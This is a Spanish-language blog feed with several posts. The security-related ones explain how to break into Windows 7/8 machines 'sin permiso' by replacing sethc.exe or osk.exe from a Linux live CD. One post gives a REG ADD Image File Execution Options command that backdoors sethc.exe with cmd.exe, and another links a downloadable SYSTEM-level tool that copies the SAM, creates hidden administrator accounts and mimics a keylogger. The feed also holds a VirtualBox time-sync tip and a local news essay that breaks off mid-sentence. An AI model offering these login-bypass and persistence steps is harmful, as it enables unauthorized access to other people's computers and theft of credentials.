Estas herramientas son ejecutadas con privilegios de Sistema, por lo que&amp;nbsp;teóricamente&amp;nbsp;podemos explotar eso para muchas cosas, con un poco de ingenio podemos crear desde un &quot;Keylogger&quot; para capturar la verdadera contraseña de algún usuario válido; hasta una herramienta para proteger nuestro equipo o mostrarnos los procesos en ejecución, las posibilidades simplemente son infinitas, así que para probar que tanto podemos comprometer el sistema, decidí hacer una pequeña herramienta con un par de funciones, desde realizar una copia del SAM del sistema, crear una cuenta de usuario con privilegios de administrador, eliminar esa cuenta, ocultar o mostrar la cuenta creada en el inicio de sesión y reiniciar.&lt;br /&gt;
&lt;br /&gt;
Para probar lo que decía sobre el Keylogger decidí crear un formulario con transparencia, sin más&amp;nbsp;preámbulo&amp;nbsp;dejo un vídeo con la demostración de la herramienta.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;560&#39; height=&#39;315&#39; src=&#39;https://www.youtube.com/embed/ACqnXHriRx0?feature=player_embedded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Además el programa lo pueden descargar desde &lt;a href=&quot;https://sites.google.com/site/zosemu/osk.exe.zip&quot; target=&quot;_blank&quot;&gt;aquí&lt;/a&gt;, si lo quieren probar sigan las instrucciones del post anterior pero copien el archivo &quot;osk.exe&quot; en algún lugar y después reemplacen el archivo original ubicado en &quot;C:\Windows\System32&quot;.</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/3368361643374860925/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2013/03/automatizando-la-entrada-no-autorizada.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/3368361643374860925'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/3368361643374860925'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2013/03/automatizando-la-entrada-no-autorizada.html' title='Automatizando la entrada no autorizada a Windows7'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-4852433532694445559</id><published>2013-03-06T22:25:00.000-08:00</published><updated>2013-03-07T07:58:17.394-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="acceder a windows sin contraseña"/><category scheme="http://www.blogger.com/atom/ns#" term="acceso windows 7 sin contraseña"/><category scheme="http://www.blogger.com/atom/ns#" term="cambiar contraseña de administrador"/><category scheme="http://www.blogger.com/atom/ns#" term="como se hace"/><category scheme="http://www.blogger.com/atom/ns#" term="errores de sistema"/><category scheme="http://www.blogger.com/atom/ns#" term="seguridad informática"/><category scheme="http://www.blogger.com/atom/ns#" term="windows 7"/><category scheme="http://www.blogger.com/atom/ns#" term="windows 8"/><category scheme="http://www.blogger.com/atom/ns#" term="windows vista"/><title type='text'>Entrando a un equipo sin permiso</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Primero, el origen de este post fue producto de una pregunta que se me hizo recientemente, por lo que después de un muy buen rato en el silencio y las sombras, me decidí a salir de mi exilio autoimpuesto, a fin de ayudar a un buen amigo (o mejor dicho a su novia).&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Segundo no voy a poner disclaimer porque lo que está de más decir que esto no debería de hacerse en equipos que no sean suyos sin embargo es asunto suyo y no me pienso enrrollar demasiado con eso.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Por último, como para este post en particular he creado un vídeo que acompañe la explicación, sólo explicaré lo que tal vez no se comprenda en el vídeo, la verdad es que no se si deban primero leer la explicación y luego ver el vídeo o al&amp;nbsp;revés, eso ya depende de su capacidad personal para asimilar las cosas.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Aclarado lo anterior entremos en materia, primero que nada explicaré en que se basa este método&amp;nbsp;de acceso, el archivo que vamos a modificar se llama &quot;sethc.exe&quot; y sirve para activar las &quot;teclas pegajosas&quot; o &quot;teclas especiales&quot;, por lo que Windows concede acceso a este archivo en su configuración por defecto, incluso cambiando dicha configuración, en pruebas realizadas se puede seguir accediendo, por lo que puede ser bastante problemático.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Antes de empezar será necesario obtener una imagen de GNU/Linux, en el vídeo use &lt;a href=&quot;http://cdimage.ubuntu.com/xubuntu/releases/11.10/release/xubuntu-11.10-desktop-i386.iso&quot; target=&quot;_blank&quot;&gt;Ubuntu 11.10&lt;/a&gt; por ser una que tenía a mano y por ser fácil de usar, sin embargo pueden usar cualquier otra, la descarga nos dará un archivo con&amp;nbsp;extensión&amp;nbsp;&quot;.iso&quot;, el cual grabaremos en un CD para ello usaremos algún programa como Nero, Roxio u otro, pero el&amp;nbsp;método&amp;nbsp;será &quot;grabar imagen de disco&quot;. Una vez grabado nuestro archivo deberíamos poder ver el contenido de este modo:&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm-1AUL5cNnSHxq1vcfmM4tgZly1hRI65fJHyoNEhe_Z8zWQle-U6MM1j6C6dPQFDAw5es9fkRC7QoL2EoKArnVC4VMst49PXDRakdgLyux4w5TxoTqzqIaUfg5qtCfE7haRxHyXd-Jw/s1600/archivos+en+cd.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;268&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm-1AUL5cNnSHxq1vcfmM4tgZly1hRI65fJHyoNEhe_Z8zWQle-U6MM1j6C6dPQFDAw5es9fkRC7QoL2EoKArnVC4VMst49PXDRakdgLyux4w5TxoTqzqIaUfg5qtCfE7haRxHyXd-Jw/s400/archivos+en+cd.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
En situaciones normales el archivo &quot;sethc.exe&quot; mostraría lo siguiente:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2iMp5oglHshemD4I9TWLcEH8OipWslgyQdsnf1kZTgBiXT9YxSn7lE3koAIDmkq7TM01SC9PBbnSUju6FoUNZiJpKTVWXQKum9oLd9JPBy8jLlXN-RCHiAQcjgGKgC88ze6T1btrffw/s1600/sethc.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;268&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2iMp5oglHshemD4I9TWLcEH8OipWslgyQdsnf1kZTgBiXT9YxSn7lE3koAIDmkq7TM01SC9PBbnSUju6FoUNZiJpKTVWXQKum9oLd9JPBy8jLlXN-RCHiAQcjgGKgC88ze6T1btrffw/s400/sethc.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Aquí el vídeo:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;object class=&quot;BLOGGER-youtube-video&quot; classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot; codebase=&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0&quot; data-thumbnail-src=&quot;http://i.ytimg.com/vi/RKG_lvXXeII/0.jpg&quot; height=&quot;315&quot; width=&quot;560&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/RKG_lvXXeII?version=3&amp;f=user_uploads&amp;c=google-webdrive-0&amp;app=youtube_gdata&quot; /&gt;&lt;param name=&quot;bgcolor&quot; value=&quot;#FFFFFF&quot; /&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot; /&gt;&lt;embed width=&quot;560&quot; height=&quot;315&quot;  src=&quot;http://www.youtube.com/v/RKG_lvXXeII?version=3&amp;f=user_uploads&amp;c=google-webdrive-0&amp;app=youtube_gdata&quot; type=&quot;application/x-shockwave-flash&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Finalmente decir que otra alternativa, teniendo acceso al equipo; para ello, hay que usar una terminal (línea de comandos) con privilegios de administrador para ejecutar lo siguiente:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;i style=&quot;background-color: #999999;&quot;&gt;REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe” /v Debugger /t REG_SZ /d “C:\windows\system32\cmd.exe”&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;i style=&quot;background-color: #999999;&quot;&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Por supuesto cabe mencionar que esto puede bien ser explotado desde una LAN con algo de imaginación XD!!&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;b&gt;Actualización:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Debido a reclamos por derechos de autor de la música del vídeo, tuve que subir nuevamente el vídeo con la misma música pero en otra versión, el cual es el siguiente:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;560&#39; height=&#39;315&#39; src=&#39;https://www.youtube.com/embed/3bwlhdoApvw?feature=player_embedded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Ya entrado en materia y dado que alguien me pidió la demostración de la vulnerabilidad en Windows 8, tuve que agregar el vídeo y para evitar más reclamos con derechos de autor convencí a n0x que interpretará el soundtrack de este vídeo:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;object class=&quot;BLOGGER-youtube-video&quot; classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot; codebase=&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0&quot; data-thumbnail-src=&quot;http://i.ytimg.com/vi/dBhU4vN8_Ls/0.jpg&quot; height=&quot;315&quot; width=&quot;560&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/dBhU4vN8_Ls?version=3&amp;f=user_uploads&amp;c=google-webdrive-0&amp;app=youtube_gdata&quot; /&gt;&lt;param name=&quot;bgcolor&quot; value=&quot;#FFFFFF&quot; /&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot; /&gt;&lt;embed width=&quot;560&quot; height=&quot;315&quot;  src=&quot;http://www.youtube.com/v/dBhU4vN8_Ls?version=3&amp;f=user_uploads&amp;c=google-webdrive-0&amp;app=youtube_gdata&quot; type=&quot;application/x-shockwave-flash&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/span&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/4852433532694445559/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2013/03/entrando-un-equipo-sin-permiso.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/4852433532694445559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/4852433532694445559'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2013/03/entrando-un-equipo-sin-permiso.html' title='Entrando a un equipo sin permiso'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm-1AUL5cNnSHxq1vcfmM4tgZly1hRI65fJHyoNEhe_Z8zWQle-U6MM1j6C6dPQFDAw5es9fkRC7QoL2EoKArnVC4VMst49PXDRakdgLyux4w5TxoTqzqIaUfg5qtCfE7haRxHyXd-Jw/s72-c/archivos+en+cd.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-5159364594303077650</id><published>2012-09-20T20:56:00.000-07:00</published><updated>2012-09-20T21:06:33.867-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="detener sincronización de tiempo en VirtualBox"/><category scheme="http://www.blogger.com/atom/ns#" term="windows"/><category scheme="http://www.blogger.com/atom/ns#" term="windows no cambia la fecha del sistema"/><category scheme="http://www.blogger.com/atom/ns#" term="zosemu"/><title type='text'>Detener la sincronización de tiempo/fechas entre Host y Guest en Virtual Box </title><content type='html'>&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ésta es otra de esas entradas que surgieron a partir de una necesidad sencilla pero para la cual no hay mucha documentación y la que hay no es del todo clara. El problema en cuestión surge al intentar cambiar la fecha del sistema en nuestro SO&amp;nbsp;huésped&amp;nbsp;(virtualizado) y quedar frustrados tras varios intentos porque la fecha cambia después de unos segundos, esto se debe a que un servicio en concreto se encarga de hacerlo, éste servicio es parte de las &quot;Guest Additions&quot;, suele ser de mucha ayuda, sin embargo en&amp;nbsp;ocasiones&amp;nbsp;conviene cambiar la fecha de nuestro sistema ya sea para registrar programas, alterar fechas de creación de documento, seguido de una larga lista de&amp;nbsp;etcéteras.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para el caso de los&amp;nbsp;huéspedes (Guests)&amp;nbsp;Windows se llama&amp;nbsp;&quot;VboxService.exe&quot; y se encuentra ubicado en la carpeta &quot;System32&quot; &amp;nbsp;y para los huéspedes Linux &quot;vboxadd-timesync&quot; y se encuentra instalado en &quot;/etc/init.d&quot;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Asumiré&amp;nbsp;que tienen instaladas las &quot;Guest Aditions&quot; en sus huéspedes y que se trata de un huésped corriendo Windows, ya que creo que es lo más común, lo primero que tendremos que hacer es detener el servicio y desregistrarlo para luego crear nuevamente nuestro servicio pasándole un parámetro concreto, para detener el servicio basta con enviar al huésped un &quot;Ctrl + Alt + Supr&quot; lo que se hace con la tecla &quot;Host&quot; que tengan configurada (por defecto es Ctrl derecho) y &quot;Supr&quot;, una vez que aparezca el administrador de tareas de Windows, buscamos el proceso y lo terminamos:&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD6kq3fqtXIitHyYz4wq_CZcKOF26NiBFIPZeUGDKFEzqAanOMujvzwkrRtLlk90UMum0RcL3hBrg1Jbp6QAmYqv0H8ga2idz4j95_O6TQR-YcV0RrFvxTguj73_xTKjzykaGZtlrXvw/s1600/virtual_01.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;342&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD6kq3fqtXIitHyYz4wq_CZcKOF26NiBFIPZeUGDKFEzqAanOMujvzwkrRtLlk90UMum0RcL3hBrg1Jbp6QAmYqv0H8ga2idz4j95_O6TQR-YcV0RrFvxTguj73_xTKjzykaGZtlrXvw/s1600/virtual_01.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Aceptamos la molesta advertencia de terminar un proceso en Windows y continuamos, una vez detenido, será necesario desregistrar el servicio lo cual hacemos desde una terminal MS-DOS mediante el comando &quot;&lt;i&gt;VboxService -u&lt;/i&gt;&quot; con esto queda eliminado de los servicios de Windows, ahora hay que levantar nuevamente el servicio pero pasándole el parámetro &quot;--disable-timesync&quot; ya aprovechando nuestra terminal ejecutamos:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;i&gt;sc&amp;nbsp;&amp;nbsp;create VirtualTimex binpath= &quot;C:\Windows\System32\VboxService.exe --disable-timesync&quot; type= own start= auto&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Otra alternativa que se me ocurrió fue levantar el servicio como aplicación de inicio mediante &quot;regedit&quot; sin embargo encontré el inconveniente de que a pesar de pasarle el parámetro &quot;&lt;i&gt;-f&lt;/i&gt;&quot;&amp;nbsp;aparecía&amp;nbsp;una molesta ventana con la información del servicio.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Me podría pasar mucho tiempo explicando el comando &lt;i&gt;sc&lt;/i&gt;, sin embargo por ahora es lo que menos tengo, disculpen las molestias ya será para otra ocasión, lo que si les puedo decir es que puede resultar muy interesante su uso para aquellos que intenten registrar un servicio incluso de manera remota, jajajajaja muchas ideas malignas vienen a mi mente...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Si a alguien le interesa el uso de este comando la documentación esta en el &lt;a href=&quot;http://support.microsoft.com/kb/251192/es&quot; target=&quot;_blank&quot;&gt;sitio oficial de Mocosoft&lt;/a&gt; jaja.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
SaluDoS!!!&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/5159364594303077650/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2012/09/detener-la-sincronizacion-de.html#comment-form' title='17 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/5159364594303077650'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/5159364594303077650'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2012/09/detener-la-sincronizacion-de.html' title='Detener la sincronización de tiempo/fechas entre Host y Guest en Virtual Box '/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD6kq3fqtXIitHyYz4wq_CZcKOF26NiBFIPZeUGDKFEzqAanOMujvzwkrRtLlk90UMum0RcL3hBrg1Jbp6QAmYqv0H8ga2idz4j95_O6TQR-YcV0RrFvxTguj73_xTKjzykaGZtlrXvw/s72-c/virtual_01.png" height="72" width="72"/><thr:total>17</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-3037760747477817912</id><published>2012-09-08T00:00:00.001-07:00</published><updated>2012-09-08T16:28:32.545-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="histeria colectiva en Neza"/><title type='text'>Psicosis colectiva o experimento social?</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Antes que nada quiero dedicar este post a una amiga que se encuentra en la madre España ella entenderá los motivos de la&amp;nbsp;dedicatoria, aclarado lo anterior...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
El día&amp;nbsp;miércoles 5 del presente mes en mi querido país y concretamente en ciudad Nezahualcóyotl y otros municipios, se vivió un capitulo de histeria colectiva, que según he investigado surgió por &lt;i&gt;&lt;u&gt;un enfrentamiento entre transportistas en el municipio de &lt;a href=&quot;http://www.google.com.mx/search?q=19.424526%2C-98.890345&quot; target=&quot;_blank&quot;&gt;Chicoloapan&lt;/a&gt;&lt;/u&gt; &lt;/i&gt;en la tarde (13:30 hrs. aproximadamente) de ese mismo día, los hecho de los que solo haré un resumen puesto que no pienso politizarlos fueron los siguientes, dos grupos de transportistas se enfrentaron con palos, machetes, petardos y hasta pistolas, de lo cual oficialmente se dio a conocer el fallecimiento de una persona y al menos 7 gravemente heridas por las lesiones, el motivo de la riña fue el &quot;territorio&quot; en donde prestan sus servicios y que se vio &quot;invadido&quot; por el otro grupo, hasta aquí.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Si buscan la noticia leerán basura como &quot;unos son perredistas&quot; los otros &quot;antorchistas&quot; bla, bla, bla, bla; según la fuente que lean ambos son el diablo y se acusan mutuamente de &quot;invadir el espacio de trabajo&quot; de los otros. Lo cierto es que no importa a que partido político puedan estar afiliados, eso no hace que sea más o menos alarmante el motivo de la riña, la disputa por un &quot;territorio&quot; (léase&amp;nbsp;propiedad privada) inexistente y que en el último de los casos no es de ninguno de ellos sino de los habitantes de esa zona, quienes tienen todo su derecho de transportarse como mejor les venga en gana y no tener que estar a expensas de uno u otro grupo., además de recibir un servicio de calidad, por el costo de transporte que pagan.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
El asunto se salio de control y la policía opto por &lt;i&gt;&lt;u&gt;cerrar las principales avenidas&lt;/u&gt;&lt;/i&gt; a fin de detener a los &quot;responsables&quot; de los hechos; aquí es donde comienza la historia (léase &lt;b&gt;histeria&lt;/b&gt;) y donde tiene raíz todo, la avenida que cerraron (&lt;a href=&quot;http://www.google.com.mx/search?q=19.422543%2C-98.913091&quot; target=&quot;_blank&quot;&gt;carretera Federal Texcoco-México&lt;/a&gt;) conecta varios municipios principalmente: La Paz, Chimalhuacán y&amp;nbsp;Nezahualcóyotl, al encontrar cerrada esta Avenida, los rumores se comienzan a extender, tras la detención de al menos cuatro personas &lt;i&gt;&quot;vinculadas&quot; &lt;/i&gt;a Antorcha Campesina, &lt;b&gt;&lt;i&gt;se presenta un grupo de personas&lt;/i&gt;&lt;/b&gt; &lt;i&gt;&quot;supuestamente&quot;&lt;/i&gt; afiliadas a dicha organización para exigir la liberación de sus miembros &lt;b&gt;&lt;i&gt;en la estación del metro &quot;&lt;a href=&quot;http://www.google.com.mx/search?q=19.350748%2C-98.9612&quot; target=&quot;_blank&quot;&gt;La Paz&lt;/a&gt;&quot;&lt;/i&gt;&lt;/b&gt;, a raíz de esto comienzan las agresiones y actos de vandalismo de los presuntos miembros de esta organización en contra de los&amp;nbsp;transeúntes, lo que literalmente detona la histeria al ser esta estación un punto importante de traslado entre los tres municipios mencionados, el rumor de los actos vandálicos y la supuesta intención de este grupo &amp;nbsp;de tomar &quot;otro tipo de medidas&quot; para ejercer presión en la liberación de sus miembros comienza a regarse como&amp;nbsp;pólvora, siendo el municipio de &quot;La Paz&quot; el primero en verse afectado por este tipo de rumores.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Al rededor de las 17 hrs, los &lt;i&gt;&lt;u&gt;comercios en este municipio se hallaban cerrados&lt;/u&gt;&lt;/i&gt; y el rumor se extiende hacia el municipio de Chimalhuacán y de ahí a&amp;nbsp;Nezahualcóyotl&amp;nbsp;&lt;i&gt;&lt;u&gt;a raíz del cierre de la avenida &quot;&lt;a href=&quot;http://19.355081%2C-98.961908/&quot; target=&quot;_blank&quot;&gt;Pantitlan&lt;/a&gt;&quot;&lt;/u&gt;&lt;/i&gt;, los rumores comienzan a expandirse por todo el municipio diciendo según los testimonios recavados por un servidor --&lt;i&gt;&quot;andan avisando que un grupo de antorchistas armados hasta los dientes en camionetas,&amp;nbsp;están&amp;nbsp;quemando mercados y comercios&quot;&lt;/i&gt;, --&lt;i&gt;&quot;también estan robando y quemando peseros&quot;,&lt;/i&gt;&amp;nbsp;aunque al cuestionarles respecto al motivo nadie mencionó el antecedente de lo ocurrido en Chicoloapan y en cambio su respuesta fue &lt;i&gt;&quot;porque&amp;nbsp;están&amp;nbsp;tomando represalias porque perdieron el municipio, ya ve que son priistas y pues no saben perder, lo quieren 